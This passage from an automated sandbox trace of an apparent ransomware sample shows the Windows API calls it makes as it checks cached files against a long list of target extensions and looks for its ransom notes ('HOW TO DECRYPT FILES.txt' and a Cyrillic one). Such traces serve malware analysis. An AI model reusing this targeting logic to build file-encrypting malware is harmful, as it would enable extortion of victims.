(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.dat") returned 0 [0082.556] lstrlenA (lpString="*.dat") returned 5 [0082.556] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.txt") returned 0 [0082.556] lstrlenA (lpString="*.txt") returned 5 [0082.556] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.jpeg") returned 0 [0082.556] lstrlenA (lpString="*.jpeg") returned 6 [0082.556] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.jpg") returned 0 [0082.556] lstrlenA (lpString="*.jpg") returned 5 [0082.556] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.png") returned 0 [0082.556] lstrlenA (lpString="*.png") returned 5 [0082.556] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.php") returned 0 [0082.556] lstrlenA (lpString="*.php") returned 5 [0082.556] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.cs") returned 0 [0082.556] lstrlenA (lpString="*.cs") returned 4 [0082.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.cpp") returned 0 [0082.557] lstrlenA (lpString="*.cpp") returned 5 [0082.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.rar") returned 0 [0082.557] lstrlenA (lpString="*.rar") returned 5 [0082.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.zip") returned 0 [0082.557] lstrlenA (lpString="*.zip") returned 5 [0082.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.html") returned 0 [0082.557] lstrlenA (lpString="*.html") returned 6 [0082.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.htm") returned 0 [0082.557] lstrlenA (lpString="*.htm") returned 5 [0082.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.xlsx") returned 0 [0082.557] lstrlenA (lpString="*.xlsx") returned 6 [0082.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.xls") returned 0 [0082.557] lstrlenA (lpString="*.xls") returned 5 [0082.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.mp4") returned 0 [0082.557] lstrlenA (lpString="*.mp4") returned 5 [0082.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.ppt") returned 0 [0082.557] lstrlenA (lpString="*.ppt") returned 5 [0082.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.pptx") returned 0 [0082.557] lstrlenA (lpString="*.pptx") returned 6 [0082.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.doc") returned 0 [0082.557] lstrlenA (lpString="*.doc") returned 5 [0082.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.dot") returned 0 [0082.558] lstrlenA (lpString="*.dot") returned 5 [0082.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.docx") returned 0 [0082.558] lstrlenA (lpString="*.docx") returned 6 [0082.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.7z") returned 0 [0082.558] lstrlenA (lpString="*.7z") returned 4 [0082.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.tar") returned 0 [0082.558] lstrlenA (lpString="*.tar") returned 5 [0082.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.bz2") returned 0 [0082.558] lstrlenA (lpString="*.bz2") returned 5 [0082.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.gz") returned 0 [0082.558] lstrlenA (lpString="*.gz") returned 4 [0082.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.mkv") returned 0 [0082.558] lstrlenA (lpString="*.mkv") returned 5 [0082.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.eml") returned 0 [0082.558] lstrlenA (lpString="*.eml") returned 5 [0082.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.msg") returned 0 [0082.558] lstrlenA (lpString="*.msg") returned 5 [0082.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.edb") returned 0 [0082.558] lstrlenA (lpString="*.edb") returned 5 [0082.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.accdb") returned 0 [0082.558] lstrlenA (lpString="*.accdb") returned 7 [0082.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.odb") returned 0 [0082.558] lstrlenA (lpString="*.odb") returned 5 [0082.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.java") returned 0 [0082.558] lstrlenA (lpString="*.java") returned 6 [0082.559] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.asm") returned 0 [0082.559] lstrlenA (lpString="*.asm") returned 5 [0082.559] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.pfx") returned 0 [0082.559] lstrlenA (lpString="*.pfx") returned 5 [0082.559] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.pem") returned 0 [0082.559] lstrlenA (lpString="*.pem") returned 5 [0082.559] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.p12") returned 0 [0082.559] lstrlenA (lpString="*.p12") returned 5 [0082.559] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.gpg") returned 0 [0082.559] lstrlenA (lpString="*.gpg") returned 5 [0082.559] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.vsd") returned 0 [0082.559] lstrlenA (lpString="*.vsd") returned 5 [0082.559] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.odg") returned 0 [0082.559] lstrlenA (lpString="*.odg") returned 5 [0082.559] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.raw") returned 0 [0082.559] lstrlenA (lpString="*.raw") returned 5 [0082.559] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.nef") returned 0 [0082.559] lstrlenA (lpString="*.nef") returned 5 [0082.559] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.svg") returned 0 [0082.559] lstrlenA (lpString="*.svg") returned 5 [0082.559] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.psd") returned 0 [0082.559] lstrlenA (lpString="*.psd") returned 5 [0082.559] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.vmx") returned 0 [0082.559] lstrlenA (lpString="*.vmx") returned 5 [0082.559] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.vmdk") returned 0 [0082.560] lstrlenA (lpString="*.vmdk") returned 6 [0082.560] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.vdi") returned 0 [0082.560] lstrlenA (lpString="*.vdi") returned 5 [0082.560] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.lay6") returned 0 [0082.560] lstrlenA (lpString="*.lay6") returned 6 [0082.560] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.mpeg") returned 0 [0082.560] lstrlenA (lpString="*.mpeg") returned 6 [0082.560] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.djvu") returned 0 [0082.560] lstrlenA (lpString="*.djvu") returned 6 [0082.560] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.tiff") returned 0 [0082.560] lstrlenA (lpString="*.tiff") returned 6 [0082.560] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.backup") returned 0 [0082.560] lstrlenA (lpString="*.backup") returned 8 [0082.560] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.pdf") returned 0 [0082.560] lstrlenA (lpString="*.pdf") returned 5 [0082.560] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.cert") returned 0 [0082.560] lstrlenA (lpString="*.cert") returned 6 [0082.560] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.docm") returned 0 [0082.560] lstrlenA (lpString="*.docm") returned 6 [0082.561] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.xlsm") returned 0 [0082.561] lstrlenA (lpString="*.xlsm") returned 6 [0082.561] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.dwg") returned 0 [0082.561] lstrlenA (lpString="*.dwg") returned 5 [0082.561] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.nd") returned 0 [0082.561] lstrlenA (lpString="*.nd") returned 4 [0082.561] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.tlg") returned 0 [0082.561] lstrlenA (lpString="*.tlg") returned 5 [0082.561] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.lgb") returned 0 [0082.561] lstrlenA (lpString="*.lgb") returned 5 [0082.561] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.mov") returned 0 [0082.561] lstrlenA (lpString="*.mov") returned 5 [0082.561] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.xdw") returned 0 [0082.561] lstrlenA (lpString="*.xdw") returned 5 [0082.561] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.ods") returned 0 [0082.561] lstrlenA (lpString="*.ods") returned 5 [0082.561] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.wav") returned 0 [0082.561] lstrlenA (lpString="*.wav") returned 5 [0082.561] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.mp3") returned 0 [0082.561] lstrlenA (lpString="*.mp3") returned 5 [0082.562] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.aiff") returned 0 [0082.562] lstrlenA (lpString="*.aiff") returned 6 [0082.562] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.flac") returned 0 [0082.562] lstrlenA (lpString="*.flac") returned 6 [0082.562] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.m4a") returned 0 [0082.562] lstrlenA (lpString="*.m4a") returned 5 [0082.562] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]", pszSpec="*.csv") returned 0 [0082.562] lstrlenA (lpString="*.csv") returned 5 [0082.562] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbfbb3b50, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbfbb3b50, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbfbb3b50, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x67, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="tecjslog[1].png", cAlternateFileName="TECJSL~1.PNG")) returned 1 [0082.562] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.562] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="tecjslog[1].png") returned -1 [0082.562] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="tecjslog[1].png") returned -1 [0082.562] lstrcmpiA (lpString1="", lpString2="tecjslog[1].png") returned -1 [0082.562] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]") returned="Standard[1]" [0082.562] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" [0082.562] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="" [0082.562] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" [0082.562] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\how to decrypt files.txt")) returned 0x2020 [0082.563] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="tecjslog[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png" [0082.563] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png", pszSpec="*.ems") returned 0 [0082.563] lstrlenA (lpString="*.ems") returned 5 [0082.563] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png", pszSpec="*.db") returned 0 [0082.563] lstrlenA (lpString="*.db") returned 4 [0082.563] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png", pszSpec="*.dbf") returned 0 [0082.563] lstrlenA (lpString="*.dbf") returned 5 [0082.563] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png", pszSpec="*.myox") returned 0 [0082.563] lstrlenA (lpString="*.myox") returned 6 [0082.563] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png", pszSpec="*.myo") returned 0 [0082.563] lstrlenA (lpString="*.myo") returned 5 [0082.563] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png", pszSpec="*.qbw") returned 0 [0082.563] lstrlenA (lpString="*.qbw") returned 5 [0082.563] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png", pszSpec="*.qbb") returned 0 [0082.563] lstrlenA (lpString="*.qbb") returned 5 [0082.563] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png", pszSpec="*.qbm") returned 0 [0082.563] lstrlenA (lpString="*.qbm") returned 5 [0082.563] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png", pszSpec="*.qbo") returned 0 [0082.564] lstrlenA (lpString="*.qbo") returned 5 [0082.564] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png", pszSpec="*.qbx") returned 0 [0082.564] lstrlenA (lpString="*.qbx") returned 5 [0082.564] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png", pszSpec="*.qba") returned 0 [0082.564] lstrlenA (lpString="*.qba") returned 5 [0082.564] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png", pszSpec="*.qby") returned 0 [0082.564] lstrlenA (lpString="*.qby") returned 5 [0082.564] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png", pszSpec="*.qbj") returned 0 [0082.564] lstrlenA (lpString="*.qbj") returned 5 [0082.564] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png", pszSpec="*.ofx") returned 0 [0082.564] lstrlenA (lpString="*.ofx") returned 5 [0082.564] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png", pszSpec="*.qif") returned 0 [0082.564] lstrlenA (lpString="*.qif") returned 5 [0082.564] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png", pszSpec="*.mye") returned 0 [0082.564] lstrlenA (lpString="*.mye") returned 5 [0082.564] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 